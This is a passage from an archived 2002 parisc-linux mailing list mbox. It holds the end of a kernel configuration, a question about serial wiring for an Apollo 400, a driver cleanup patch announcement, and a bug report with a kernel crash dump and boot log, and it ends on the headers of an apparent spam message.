# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
# CONFIG_NFS_FS is not set
# CONFIG_NFS_V3 is not set
# CONFIG_ROOT_NFS is not set
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
# CONFIG_SUNRPC is not set
# CONFIG_LOCKD is not set
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
# CONFIG_NLS is not set

#
# Console drivers
#

#
# Frame-buffer support
#
# CONFIG_FB is not set
# CONFIG_STI_CONSOLE is not set
CONFIG_DUMMY_CONSOLE=y

#
# Sound
#
# CONFIG_SOUND is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

--Apple-Mail-1-595528930--




From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: collver@linuxfreemail.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: serial breakout box
Date: Sat, 9 Feb 2002 09:53:36 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <20020209095335.A4426@glen.takilma.net>
References: <200201150347.g0F3lh129546@tpol.peak.org> <20020204104006.A6794@glen.takilma.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621051 2819 80.91.229.3 (22 Nov 2014 01:50:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:51 +0000 (UTC)
Cc: Allen Brown <abrown@peak.org>,
	parisc-linux@lists.parisc-linux.org
To: lug@peak.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  9 10:50:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 12-225-100-78.client.attbi.com (12-225-100-78.client.attbi.com [12.225.100.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B5DA482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Feb 2002 10:50:05 -0700 (MST)
Original-Received: from ben by 12-225-100-78.client.attbi.com with local (Exim 3.34 #1)
	id 16Zbgu-00019k-00; Sat, 09 Feb 2002 09:53:36 -0800
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020204104006.A6794@glen.takilma.net>; from collver@linuxfreemail.com on Mon, Feb 04, 2002 at 10:40:07AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13999

On Mon, Feb 04, 2002 at 10:40:07AM -0800, collver@linuxfreemail.com wrote:
> >>This is an Apollo 400 which has been upgraded to a 715T/50 (Trailways-50). 
> > 
> > Pin 7 is GND.  Pins 2 and 3 are the input and outputs, not necessarily
> > in that order.  Measure from 7 to 2.  Measure from 7 to 3.  One
> > of them will be close to 0V.  The other will be much higher.  I think
> > -10V or something like that.  The pin with the higher voltage is
> > the output.
> > 
> > Do the same thing on the other system also using the 25 pin connector.
> > Then make sure you are not connecting the output to the output.
> 
> It turns out the Apollo 400 has a funky serial pinout.
> I obtained a breakout box and when I find the time, I will experiment with
> this strange serial port.

The Apollo 400 and the mouse are both "DCE".  I can measure -11.44V on the
Apollo's pin 2 and on the PC's pin 3.  I have verified that the mouse will
speak to my PC using only txd, rxd, and rts.  I can also log into the
Apollo from the PC using only txd, rxd, and rts.

It is obvious the I need to connect the mouse's pins 2 and 3, to the
Apollo's pins 3 and 2.  The rest is unsure.  I have tried many combinations
of wiring, and I just haven't been able to get the mouse to work.

To connect two DCE devices, some suggest a "tail circuit cable".  It seems
overkill to me since the mouse only uses a few pins.  I have noticed that
the Apollo doesn't ever show voltage on the "carrier detect" pin.  I have
also noticed that the Apollo voltage is -11.44 volts, and the PC voltage is
-12.15 volts.

Can anyone give me tips for getting this mouse to work?

Thanks,

Ben



From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] touching several drivers
Date: Sat, 9 Feb 2002 20:58:42 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <20020209205842.B1173@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621051 2823 80.91.229.3 (22 Nov 2014 01:50:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  9 13:58:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43A05482A
	for <parisc-linux@parisc-linux.org>; Sat,  9 Feb 2002 13:58:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16Zea2-0007Kf-00
	for parisc-linux@parisc-linux.org; Sat, 09 Feb 2002 20:58:42 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14000

Hey, I've jut produced ftp.parisc-linux.org/patches/random-cleanups.diff
It fixes a number of things that have been bugging me on the C360 for
a while.

I touch:

 arch/parisc/kernel/drivers.c  |   59 ++++++++++++++++++++----------------------
 drivers/gsc/dino.c            |   26 ++++++++----------
 drivers/gsc/gsc.c             |    8 -----
 drivers/gsc/serial.c          |   18 ++++--------
 drivers/parport/parport_gsc.c |   16 -----------
 drivers/scsi/lasi700.c        |    8 -----
 drivers/sound/harmony.c       |    4 --

so if anyone wants to object, now's a good time to do it.  If anyone has
the urge, testing it on other machines would be worthwhile.  I've been
careful to consider other machines, but thinking is no substitute for
actually trying the code, and I touched some interesting parts of
device discovery.

Changelog:

 * Stop checking hversion_rev in match_device.  All drivers specify
   HVERSION_REV_ANY_ID anyway.
 * Don't print a warning if a driver declines to claim a device.  That's
   allowed.
 * Revert get_node_path to its previous form.  I found another bug in
   doing the inventory and adding another hack would have been silly.
 * Neaten up walk_native_bus a little, I have moral objections to the
   previous code.
 * Fix a bug in fixup_child_irqs.  If the device had no children, it
   would assign irqs to siblings instead, which led to the bogus serial
   port being detected on Cujo.
 * A few more Dino -> Cujo changes.  Print a little more information when
   we get a stuck interrupt.
 * Make the GSC serial driver return silently for Cujo's serial port (if
   it's unassigned).  Improve the error message and make it not dependent
   on any CONFIG options.
 * Clean up a comment and remove the A180's serial port from the
   serial1_tbl.

 * Call request_mem_region for each successful device/driver claim.
 * Make gsc_common_irqsetup a little more sensible about what regions
   it claims.
 * Delete request/release regions from lasi700.c, parport_gsc.c, harmony.c

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lp0 kablooie
Date: Sat, 9 Feb 2002 16:01:56 -0600 (CST)
Lines: 310
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0202091555570.7869-100000@maestro.symsys.com>
References: <20020209205842.B1173@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621051 2827 80.91.229.3 (22 Nov 2014 01:50:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  9 15:02:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A67F482A
	for <parisc-linux@parisc-linux.org>; Sat,  9 Feb 2002 15:02:02 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id QAA08170
	for <parisc-linux@parisc-linux.org>; Sat, 9 Feb 2002 16:01:56 -0600
In-Reply-To: <20020209205842.B1173@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14001

Writing data from my C100 to /dev/lp0 makes the kernel go kablooie.  It's
the kernel from the recent (0.9.3?) iso.  Known problem?  Any more info I
could supply that would help?  I've appended everything on the console
from the crash, through the power cycle, to mounting disks again.  

- Greg

# echo >/dev/lp0

Dumping Stack from 15608000 to 15608700:
8000 00000000 00000100 00000000 00000001 1029f180 00000001 00000000 ffffffff
8020 00000008 00000000 00000000 17ff1120 00000000 00000000 ffffffff 1029c400
8040 157b403c 0003bc02 10334000 150dc000 17ff1120 102a14b8 00000000 00000012
8060 00000000 00000000 80000000 000000e7 000000e7 00000000 000000e7 000000e7
8080 00000001 105d0000 105d0000 00000000 00000000 150dc000 15608098 15608098
80a0 00000000 1029e46c 156080a8 156080a8 00000000 00000000 00000000 00000000
80c0 00000000 00000000 00000000 00000000 00000000 00000000 0003b848 15608000
80e0 1011cb2c 00000008 00000010 00000001 00000003 0000232d 00000008 0000045d
8100 000000a2 000002d9 00000000 0000001a 00000095 00000000 80000000 00000000
8120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000001
8140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
8180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
81a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
81c0 fffffeff 00000000 fffffeff 00000000 102a01a0 ffffffff ffffffff ffffffff
81e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff
8200 ffffffff 000007b3 000007b3 00000400 00000400 ffffffff ffffffff ffffffff
8220 ffffffff ffffffff ffffffff 00006261 73680000 72000000 00000000 00000000
8240 00000000 17ffe000 00000000 00000000 00000000 00000000 00000000 000c3c8c
8260 4011bd73 00000080 00000020 00000002 00000000 00000008 000938e0 0000003d
8280 00000000 000d5f08 ffffffff 00000000 ffffffff 00000000 00000000 000b9f04
82a0 00017800 401ef190 00000004 40174e3c 4011bd2c 00000000 00000001 000c8408
82c0 00000001 000b9f04 0000000a 000003c1 faf00980 40174e47 00000000 00000000
82e0 00000000 00000000 00000000 00000000 00000000 00000000 1029f010 00000001
8300 00000001 1014c12c 00000002 103308bc 105d0000 102a4600 102a4060 00000002
8320 0000004d 00000000 000000f0 1029f010 00000001 102a1010 1028c010 102bb810
8340 1028c010 1013a540 102cd298 102a1010 00000000 00000000 100a5000 102a4600
8360 00000000 00000002 00000000 000000f0 1029f010 100a5000 102a4600 00000000
8380 00000002 00000000 00000000 00000001 00000001 66666667 00000001 ffffffff
83a0 3fe00000 00000000 412e8480 00000000 0004000e 100aa120 ffffff05 00000001
83c0 1028c010 1013a698 100a9000 102a1ed0 00000000 00000000 0000035b 0000035b
83e0 00000000 0000035b 0000035b 0000035b 0000035b 0000035b 0000035b 0000035b
8400 0008f497 0008f49b 90569779 0000004d 0000000a 15608940 10106cf0 0000001c
8420 0f941200 0000035b 000da000 1038a240 fff00000 40000000 00000000 00000000
8440 100401e0 10041040 1006d0c0 00000000 00000000 00000000 15608454 00000000
8460 00000000 00000000 00000000 00000000 00000000 00000000 00000001 00000004
8480 f7025555 00000006 73746172 74005555 55550000 00000000 00000000 00000000
84a0 54025555 000cd5a0 cfcfcfcf 10107750 55555555 cfcfcfcf cfcfcfcf 55555555
84c0 40028544 000193a7 40174e3c 4011bd2c 00000000 faf00c80 000bfde6 00000001
84e0 000c01e6 401f7190 00039e96 10107f80 faf00288 00036248 00036248 00002000
8500 00000003 00000001 faf006c0 faf006c0 401ef190 401ef190 00000000 00000000
8520 000c005e 00000000 00000000 1013aa7c 401ea3f0 00000001 000c8408 00000001
8540 000da0c8 10041040 00000000 17fff480 10041040 00000000 17fff480 00000080
8560 00000000 00000522 3a7721d9 1013b0f4 3a7585ba 00000000 3a7585ba 00000000
8580 ffffffff 00000000 000bff04 000d5f08 00000000 00000001 00093000 401ef190
85a0 000c8408 00000001 ffffffea 17fff480 00000b01 00000000 3c48490f 00000000
85c0 17fff4e0 00000001 fffffff7 10041040 15608510 00000008 49261604 00000000
85e0 15109da0 00000000 00000000 101ae23c 00094800 000c3704 00000003 15608510
8600 102b1744 102b1744 00000001 00000b01 00000003 000caf08 000b9f04 100a5000
8620 000001b6 000001b6 00000b01 101ae0c0 00001000 17ff1120 00001000 17ffebf8
8640 00000000 00000001 102b1744 000c8408 00000040 102b1748 00000000 000bff04
8660 00000000 0000003d 000938e0 1013a698 0000000f 0000035b 000da000 15608258
8680 15138c80 17fff480 ffffffeb ffffffeb 100a5005 00000003 0026aae2 00000000
86a0 00000000 00000000 00000000 101adfc0 00000000 100a5000 15608590 00000b02
86c0 00000000 10037260 00000000 15138c80 17fff480 00000005 00000cbd 00000a31
86e0 17ff113c 15608258 0011131a 10164ffc 000b9f04 15109e20 10037260 00000000

Kernel Fault: Code=26 regs=15608700 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111
r0-3	 00000000 1029c010 101adfc0 000000ff
r4-7	 00000000 102b1744 00000000 00000000
r8-11	 00000000 102b1010 000c8408 1504d000
r12-15	 105d9260 00000000 102b1010 000c0326
r16-19	 00000000 000b9f04 00017800 00000000
r20-23	 00002801 0000008a 1018f034 17fff4a0
r24-27	 ffd02801 ffffffd0 0000008a 1028c010
r28-31	 000001f4 000003c1 15608700 1018bc58
sr0-3	 00000000 0000035b 00000000 0000035b
sr4-7	 00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1010d09c 1010d0a0
 IIR: 0e601096    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 15608000 CR31: 10338000
 ORIG_R28: 00000000

[ power cycle ]

Firmware Version  1.2

Duplex Console IO Dependent Code (IODC) revision 0

------------------------------------------------------------------------------
   (c) Copyright 1990-1996, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------

      0      100  Mhz   Active                 Functional          256 KB

  Central Bus Speed (in mhz)  :        100  
  Available Memory (bytes)    :  134217728  
  Good Memory Required (bytes):   26447872  


   Primary boot path:    core.LAN.0.0.0.0.0.0
   Alternate boot path:  core.FWSCSI.6.0
   Console path:         GRAPHICS3
   Keyboard path:        core.PS2


Searching for device(s) with bootable media
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).


   Path Number      Device Path                   Device Type and Utilities
---------------------------------------------------------------------------
   P0               core.FWSCSI.6.0               SEAGATE ST32430W             
                                                   IPL
   P1               core.SCSI.0.0                 SEAGATE ST11200N SUN1.05     
                                                   IPL
   P2               core.LAN.192.168.1.64.3.254   192.168.1.64                 
                                                   IPL



Enter Path Number or Device Path to continue boot sequence.  Enter NO to go
to main menu.
> p1
Interact with IPL (Y or N)?> n

Booting... 
Boot IO Dependent Code (IODC) revision 0


HARD Booted.
palo ipl 0.96 root@smallone Sun Nov 11 23:23:30 UTC 2001

Partition Start(MB) End(MB) Id Type
1               1      32   f0 Palo
2              33     161   82 swap
3             162    1004   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3122078 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently  used by firmware (serial).

Command line for kernel: 'root=/dev/sdb3 HOME=/ console=ttyS0 TERM=vt102'
Selected kernel: /boot/vmlinux from partition 3
Opening /boot/vmlinux
Opening /boot/vmlinux-2.4.9-32
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1618208 mediaptr 0x1000
Segment 1 load 0028c000 size 287728 mediaptr 0x18d000
Segment 2 load 002d4000 size 379072 mediaptr 0x1d4000
Segment 3 load 00334000 size 8192 mediaptr 0x231000
Segment 4 load 00338000 size 32768 mediaptr 0x233000
Segment 5 load 003750e8 size 83184 mediaptr 0x23b0e8
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov 30 19:36:30 MST 2001
FP[0] enabled: Rev 1 Model 11
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model	00005920 00000481 00000000 00000002 782482ee 100000f0 00000004 0000008a 0000008a
vers	0000000d
cpuid	0000016d
CPUID	vers 11 rev 13
model	9000/777/C100
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LED display at f0190001 registered
Kernel command line: root=/dev/sdb3 HOME=/ console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126200k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0x7, 0xb
2. SkyHawk 100/120 FW-SCSI (4) at 0xf5f8c000 [8/12], versions 0x1f, 0x0, 0x89
3. Raven T' Core BA (11) at 0xffd00000 [8/16], versions 0x32, 0x0, 0x81,  additional addresses: 0xffc00000 
4. Raven T' Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x32, 0x0, 0x74,  additional addresses: 0xffd03000 
5. Raven T' Audio (10) at 0xffd04000 [8/16/1], versions 0x32, 0x0, 0x7b
6. Raven T' Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x32, 0x0, 0x8c
7. Raven T' Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x32, 0x0, 0x82
8. Raven T' Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x32, 0x0, 0x8a
9. Raven T' Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x32, 0x0, 0x84
10. Raven T' Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x32, 0x0, 0x84
11. Raven T' Core PC Floppy (10) at 0xffd0a000 [8/16/10], versions 0x32, 0x0, 0x83
12. Raven T' Wax BA (11) at 0xffe00000 [8/20], versions 0x1e, 0x0, 0x8e,  additional addresses: 0xffe06000 
13. Raven T' Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x1e, 0x0, 0x73
14. Raven T' Wax RS-232 (10) at 0xffe02000 [8/20/2], versions 0x1e, 0x0, 0x8c
15. Raven T' Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x1e, 0x0, 0x90,  additional addresses: 0xf4000000 
16. U2-IOA BC GSC+ Port (7) at 0xf5fbf000 [8/63], versions 0x501, 0x1, 0xc
17. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0x7, 0xb
18. Coral SGC Graphics (10) at 0xf6000000 [10/20], versions 0x4, 0x0, 0x77
19. Raven 100 T' (0) at 0xfffa0000 [32], versions 0x592, 0x0, 0x4
20. SkyHawk 100/120 (1) at 0xfffb1000 [49], versions 0x49, 0x0, 0x9
CPU(s): 1 x PA7200 (PCX-T') at 100.000000 MHz
ccio found U2 at 0xfff88000
io_io_low: 0xf5f80000
21. SkyHawk 100/120 FW-SCSI (4) at 0xf5f8c000 [8/12], versions 0x1f, 0x0, 0x89
22. Raven T' Core BA (11) at 0xffd00000 [8/16], versions 0x32, 0x0, 0x81,  additional addresses: 0xffc00000 
23. Raven T' Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x32, 0x0, 0x74,  additional addresses: 0xffd03000 
24. Raven T' Audio (10) at 0xffd04000 [8/16/1], versions 0x32, 0x0, 0x7b
25. Raven T' Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x32, 0x0, 0x8c
26. Raven T' Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x32, 0x0, 0x82
27. Raven T' Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x32, 0x0, 0x8a
28. Raven T' Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x32, 0x0, 0x84
29. Raven T' Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x32, 0x0, 0x84
30. Raven T' Core PC Floppy (10) at 0xffd0a000 [8/16/10], versions 0x32, 0x0, 0x83
31. Raven T' Wax BA (11) at 0xffe00000 [8/20], versions 0x1e, 0x0, 0x8e,  additional addresses: 0xffe06000 
32. Raven T' Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x1e, 0x0, 0x73
33. Raven T' Wax RS-232 (10) at 0xffe02000 [8/20/2], versions 0x1e, 0x0, 0x8c
34. Raven T' Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x1e, 0x0, 0x90,  additional addresses: 0xf4000000 
35. U2-IOA BC GSC+ Port (7) at 0xf5fbf000 [8/63], versions 0x501, 0x1, 0xc
ccio found U2 at 0xfff8a000
io_io_low: 0xf5fc0000
36. Coral SGC Graphics (10) at 0xf6000000 [10/20], versions 0x4, 0x0, 0x77
37. U2-IOA BC GSC+ Port (7) at 0xf5fff000 [10/63], versions 0x501, 0x1, 0xc
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA Adapter found at 0xfc000000
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
STI byte mode ROM at f6000000, hpa=f6000000
STI byte mode ROM, id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071A
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf6100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A
ttyS01 at iomem 0xffe02800 (irq = 121) is a 16550A
Lasi PS/2 receive buffer timeout
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
Lasi PS/2 transmit buffer timeout
PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.
Found HIL at 0xffe01000, IRQ 126
HIL: no keyboard present.
Warning : device (10, 0x1e, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 08 00 09 E8 83 2B IRQ 87.
82596.c $Revision: 1.26 $
SCSI subsystem driver Revision: 1.00
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
  Vendor: SEAGATE   Model: ST32430W          Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
scsi1: (0:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST11200N SUN1.05  Rev: 8358
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
Attached scsi disk sdb at scsi1, channel 0, id 0, lun 0
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Partition check:
 sda: unknown partition table
scsi1: (0:0) Enabling Tag Command Queuing
SCSI device sdb: 2059140 512-byte hdwr sectors (1054 MB)
 sdb: sdb1 sdb2 sdb3
Lasi Harmony Audio rev. 33 at 0xffd04000, using IRQ 82
sticonsole_init: searching for STI ROMs
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
INIT: version 2.84 booting




From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <vortex1010102000@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] toner cartridges
Date: Sat, 9 Feb 2002 19:57:23
Lines: 125
Approved: news@gmane.org
Message-ID: <446.237247.686108@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621052 2837 80.91.229.3 (22 Nov 2014 01:50:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  9 17:54:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hedy.com.cn (unknown [61.140.76.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F877482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Feb 2002 17:54:32 -0700 (MST)
